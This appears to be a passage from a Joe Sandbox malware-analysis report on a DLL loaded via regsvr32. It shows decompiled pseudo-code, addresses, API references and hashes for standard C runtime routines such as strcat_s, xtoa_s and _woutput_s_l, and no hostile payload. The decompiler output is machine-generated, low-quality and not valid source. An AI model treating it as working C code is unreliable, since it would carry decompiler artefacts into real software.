				if (_a32[5] != 8) goto 0xf9d35807;
				if ( *_v64 == 0) goto 0xf9d35807;
				_t186 = _v64;
				E000007FE7FEF9D35B30(_t107,  *_t186,  &(_a32[2]));
				 *_v64 = _t186;
				goto 0xf9d3580e;
				_t109 = E000007FE7FEF9D2CF80(_t186);
				goto 0xf9d3595a;
				_t187 = _a32;
				if ( *((intOrPtr*)(_t187 + 0x18)) == 0) goto 0xf9d3583c;
				E000007FE7FEF9D2E6A0(_t109, _t187);
				_v40 = _t187 + _a32[6];
				goto 0xf9d35845;
				_v40 = 0;
				if (_v40 != 0) goto 0xf9d358c6;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d358bc;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d358bc;
				_t191 = _a32[5];
				_v32 = _a32[5];
				E000007FE7FEF9D35B30(_t112,  *((intOrPtr*)(_a8 + 0x28)),  &(_a32[2]));
				E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64, _a32[5], _v32);
				goto 0xf9d358c1;
				E000007FE7FEF9D2CF80(_t191);
				goto 0xf9d3595a;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35955;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35955;
				_t193 = _a32;
				if ( *((intOrPtr*)(_t193 + 0x18)) == 0) goto 0xf9d35919;
				E000007FE7FEF9D2E6A0(_t117, _t193);
				_v24 = _t193 + _a32[6];
				goto 0xf9d35922;
				_v24 = 0;
				if (E000007FE7FEF9D3D2F0(_v24) == 0) goto 0xf9d35955;
				_t195 = _a32;
				if (( *_a32 & 0x00000004) == 0) goto 0xf9d3594b;
				_v72 = 2;
				goto 0xf9d35953;
				_v72 = 1;
				goto 0xf9d3595a;
				E000007FE7FEF9D2CF80(_a32);
				E000007FE7FEF9D2CF50(_t195);
				return _v72;
			}

0x7fef9d355f0
0x7fef9d355f5
0x7fef9d355fa
0x7fef9d355ff
0x7fef9d35608
0x7fef9d35610
0x7fef9d3561c
0x7fef9d3561e
0x7fef9d35632
0x7fef9d35637
0x7fef9d35639
0x7fef9d35648
0x7fef9d3564a
0x7fef9d35656
0x7fef9d35658
0x7fef9d3566c
0x7fef9d35671
0x7fef9d35673
0x7fef9d35687
0x7fef9d35695
0x7fef9d356a8
0x7fef9d356ac
0x7fef9d356c2
0x7fef9d356c9
0x7fef9d356ce
0x7fef9d356e4
0x7fef9d356f8
0x7fef9d3570f
0x7fef9d35722
0x7fef9d35732
0x7fef9d35744
0x7fef9d3574c
0x7fef9d35756
0x7fef9d35759
0x7fef9d3575b
0x7fef9d35760
0x7fef9d35774
0x7fef9d3578f
0x7fef9d357a2
0x7fef9d357c1
0x7fef9d357d6
0x7fef9d357e1
0x7fef9d357f2
0x7fef9d357fa
0x7fef9d35804
0x7fef9d35807
0x7fef9d35809
0x7fef9d3580e
0x7fef9d35813
0x7fef9d3581f
0x7fef9d35821
0x7fef9d35835
0x7fef9d3583a
0x7fef9d3583c
0x7fef9d3584b
0x7fef9d35862
0x7fef9d35875
0x7fef9d3587f
0x7fef9d35883
0x7fef9d358a0
0x7fef9d358b5
0x7fef9d358ba
0x7fef9d358bc
0x7fef9d358c1
0x7fef9d358db
0x7fef9d358ee
0x7fef9d358f0
0x7fef9d358fc
0x7fef9d358fe
0x7fef9d35912
0x7fef9d35917
0x7fef9d35919
0x7fef9d3592e
0x7fef9d35930
0x7fef9d3593f
0x7fef9d35941
0x7fef9d35949
0x7fef9d3594b
0x7fef9d35953
0x7fef9d35955
0x7fef9d3595c
0x7fef9d3596a

APIs

_ValidateRead.LIBCMTD ref: 000007FEF9D35708
_ValidateRead.LIBCMTD ref: 000007FEF9D3571B
__AdjustPointer.LIBCMTD ref: 000007FEF9D3574C
_ValidateRead.LIBCMTD ref: 000007FEF9D35788
_ValidateRead.LIBCMTD ref: 000007FEF9D3579B
__AdjustPointer.LIBCMTD ref: 000007FEF9D357FA
_inconsistency.LIBCMTD ref: 000007FEF9D35809
_ValidateRead.LIBCMTD ref: 000007FEF9D3585B
_ValidateRead.LIBCMTD ref: 000007FEF9D3586E
__AdjustPointer.LIBCMTD ref: 000007FEF9D358A0
_inconsistency.LIBCMTD ref: 000007FEF9D358BC
_ValidateRead.LIBCMTD ref: 000007FEF9D358D4
_ValidateRead.LIBCMTD ref: 000007FEF9D358E7
_ValidateExecute.LIBCMTD ref: 000007FEF9D35927
_inconsistency.LIBCMTD ref: 000007FEF9D3575B

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_inconsistency.LIBCMTD ref: 000007FEF9D35955

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Validate$Read$Pointer_inconsistency$Adjust$DecodeExecuteterminate
String ID:
API String ID: 801082872-0
Opcode ID: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction ID: 9d611a2ef42a4ce54476322da2bce67ea854ec722e2e267300ecfa65af3b148c
Opcode Fuzzy Hash: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction Fuzzy Hash: 4DA13D32B0CA4682EAA08B16E89077E67E0F7C4B95F208121DACD877B5DF3ED451CB10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38D00 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 287COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38DAA
_invalid_parameter.LIBCMTD ref: 000007FEF9D38E49
_invalid_parameter.LIBCMTD ref: 000007FEF9D38F8C
_invalid_parameter.LIBCMTD ref: 000007FEF9D3903D
_invalid_parameter.LIBCMTD ref: 000007FEF9D39205

Strings

sizeInTChars > 0, xrefs: 000007FEF9D38DE5, 000007FEF9D38E42
xtow_s, xrefs: 000007FEF9D38D9C, 000007FEF9D38E3B, 000007FEF9D38F7E, 000007FEF9D3902F, 000007FEF9D391F7
$, xrefs: 000007FEF9D38FA5
2 <= radix && radix <= 36, xrefs: 000007FEF9D38FD9, 000007FEF9D39036
length < sizeInTChars, xrefs: 000007FEF9D391A1, 000007FEF9D391FE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D38D5B, 000007FEF9D38D95, 000007FEF9D38DFA, 000007FEF9D38E34, 000007FEF9D38F3D, 000007FEF9D38F77, 000007FEF9D38FEE, 000007FEF9D39028, 000007FEF9D391B6, 000007FEF9D391F0
buf != NULL, xrefs: 000007FEF9D38D46, 000007FEF9D38DA3
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D38F28, 000007FEF9D38F85

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtow_s
API String ID: 2123368286-1993839260
Opcode ID: f8a5afe18f34840ee0df28905467ae8a93c47803c1f8068a44ba45b34dbb5592
Instruction ID: 19a34de06f4f25a15c822aae2b95ff87e4dec291f3645630fab9b4d6ba707880
Opcode Fuzzy Hash: f8a5afe18f34840ee0df28905467ae8a93c47803c1f8068a44ba45b34dbb5592
Instruction Fuzzy Hash: 4AE11836A1CB86CAE7A09B18E84476EB3E1F784345F604525E6CD83BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37030 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D370DA
_invalid_parameter.LIBCMTD ref: 000007FEF9D37179
_invalid_parameter.LIBCMTD ref: 000007FEF9D372B6
_invalid_parameter.LIBCMTD ref: 000007FEF9D37367
_invalid_parameter.LIBCMTD ref: 000007FEF9D37523

Strings

$, xrefs: 000007FEF9D372CF
xtoa_s, xrefs: 000007FEF9D370CC, 000007FEF9D3716B, 000007FEF9D372A8, 000007FEF9D37359, 000007FEF9D37515
sizeInTChars > 0, xrefs: 000007FEF9D37115, 000007FEF9D37172
2 <= radix && radix <= 36, xrefs: 000007FEF9D37303, 000007FEF9D37360
length < sizeInTChars, xrefs: 000007FEF9D374BF, 000007FEF9D3751C
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D3708B, 000007FEF9D370C5, 000007FEF9D3712A, 000007FEF9D37164, 000007FEF9D37267, 000007FEF9D372A1, 000007FEF9D37318, 000007FEF9D37352, 000007FEF9D374D4, 000007FEF9D3750E
buf != NULL, xrefs: 000007FEF9D37076, 000007FEF9D370D3
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D37252, 000007FEF9D372AF

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtoa_s
API String ID: 2123368286-1853640030
Opcode ID: fd24ae2173ac44ea26de12f4013dd461b82e36f4d48be66e2593e9709099cfaf
Instruction ID: 612b8f3a1e511721bf558c20b5ecc37bcc5fe5373454d887446b2b671354ce2d
Opcode Fuzzy Hash: fd24ae2173ac44ea26de12f4013dd461b82e36f4d48be66e2593e9709099cfaf
Instruction Fuzzy Hash: 2EE13A32A1DB86CAE7A09B59E8447AEB7E1F385344F604125E6CD43BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E6C6 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E000007FE7FEF9D3E6C6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t224;
				signed char _t229;
				void* _t260;
				intOrPtr _t268;
				signed int _t342;
				signed int _t343;
				signed long long _t346;
				intOrPtr* _t365;
				intOrPtr* _t370;
				signed long long _t400;

				_t342 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a1220 = 7;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t343 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t346 = _a1304;
				_a1312 = _t346;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t346;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t224 = _a116;
				_a116 = _a116 - 1;
				if (_t224 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t224 / _a1480 + 0x30;
				_a1488 = _a72;
				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t229 = _a1296 + _a1220;
				_a1296 = _t229;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t229;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t365 = _a64;
				_a1328 = _t365;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t260 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t365;
				E000007FE7FEF9D26840(_t260,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t365 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t268 = _a1504;
				_a1344 = _t268;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t370 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t370;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t268 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t370 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t400, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e6c6
0x7fef9d3e6cd
0x7fef9d3e6d1
0x7fef9d3e6de
0x7fef9d3e6eb
0x7fef9d3e6f7
0x7fef9d3e6ff
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785
get_int64_arg.LIBCMTD ref: 000007FEF9D3E7AC

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
9, xrefs: 000007FEF9D3E988
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-1983305044
Opcode ID: 2a7d659c8e5e6b28fc7c58fcf8e8579ea91b99a8d6af850dbdc893ea63a98b90
Instruction ID: 6542cf9ee6a066de1e86aade3174812d6b56db97d2698e01b13d8cfaf3a7b086
Opcode Fuzzy Hash: 2a7d659c8e5e6b28fc7c58fcf8e8579ea91b99a8d6af850dbdc893ea63a98b90
Instruction Fuzzy Hash: 20F1E872A0DAC58AE7B18B55E8417AFB7E0F784346F200125E6C987AE9EB7DD440CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32D80 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 310COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32E31
_invalid_parameter.LIBCMTD ref: 000007FEF9D32F63
_invalid_parameter.LIBCMTD ref: 000007FEF9D330E4
_invalid_parameter.LIBCMTD ref: 000007FEF9D3327B

Strings

(L"Buffer is too small" && 0), xrefs: 000007FEF9D33217, 000007FEF9D33274
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D32DCD, 000007FEF9D32E2A
String is not null terminated, xrefs: 000007FEF9D3304D
(L"String is not null terminated" && 0), xrefs: 000007FEF9D33080, 000007FEF9D330DD
Buffer is too small, xrefs: 000007FEF9D331DB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D32DE2, 000007FEF9D32E1C, 000007FEF9D32F14, 000007FEF9D32F4E, 000007FEF9D33095, 000007FEF9D330CF, 000007FEF9D3322C, 000007FEF9D33266
wcscat_s, xrefs: 000007FEF9D32E23, 000007FEF9D32F55, 000007FEF9D330D6, 000007FEF9D3326D
(((_Src))) != NULL, xrefs: 000007FEF9D32EFF, 000007FEF9D32F5C

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$wcscat_s
API String ID: 2123368286-3477667311
Opcode ID: b8fc4c6395d55294f14e808969fd0dde924ec27b835ffc5b45b9a86212572efe
Instruction ID: b03569ffd57b7167c314fdf02ed50a447cb54ce8ebbf145893a20e686b3b9740
Opcode Fuzzy Hash: b8fc4c6395d55294f14e808969fd0dde924ec27b835ffc5b45b9a86212572efe
Instruction Fuzzy Hash: BFF13832A0DB8685EBE08B19E94476EA3E0F385795F604535D6DE83BA8DF7ED044CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D369C0 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 303COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D36A71
_invalid_parameter.LIBCMTD ref: 000007FEF9D36B9D
_invalid_parameter.LIBCMTD ref: 000007FEF9D36D17
_invalid_parameter.LIBCMTD ref: 000007FEF9D36EA5

Strings

(L"Buffer is too small" && 0), xrefs: 000007FEF9D36E41, 000007FEF9D36E9E
String is not null terminated, xrefs: 000007FEF9D36C80
(L"String is not null terminated" && 0), xrefs: 000007FEF9D36CB3, 000007FEF9D36D10
Buffer is too small, xrefs: 000007FEF9D36E05
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D36A0D, 000007FEF9D36A6A
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D36A22, 000007FEF9D36A5C, 000007FEF9D36B4E, 000007FEF9D36B88, 000007FEF9D36CC8, 000007FEF9D36D02, 000007FEF9D36E56, 000007FEF9D36E90
(((_Src))) != NULL, xrefs: 000007FEF9D36B39, 000007FEF9D36B96
strcat_s, xrefs: 000007FEF9D36A63, 000007FEF9D36B8F, 000007FEF9D36D09, 000007FEF9D36E97

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
